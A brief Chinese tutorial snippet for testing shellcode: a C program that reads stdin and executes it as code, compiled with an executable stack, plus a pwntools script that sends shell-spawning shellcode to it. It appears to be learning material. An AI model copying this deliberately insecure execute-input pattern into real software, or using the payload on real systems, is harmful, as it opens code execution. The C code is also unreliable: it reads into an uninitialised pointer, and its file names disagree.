测试shellcode

fun.c

  1. void main(){
  2. char *shellcode; //字符串指针
  3. read(0,shellcode,1000); //接受数据
  4. void (*fptr)()=shellcode; //函数指针指向 字符串,把char shellcode 内容当成代码执行
  5. fptr();
  6. }
  • 编译命令: gcc func.c -o func -zexecstack
  • 32位要在末尾加 -m32
  1. from pwn import *
  2. context.arch="i386"
  3. context.log_level="debug"
  4. p=process("./func32")
  5. sh=shellcraft.sh()
  6. payload=asm(sh)
  7. p.sendline(payload)
  8. p.interactive()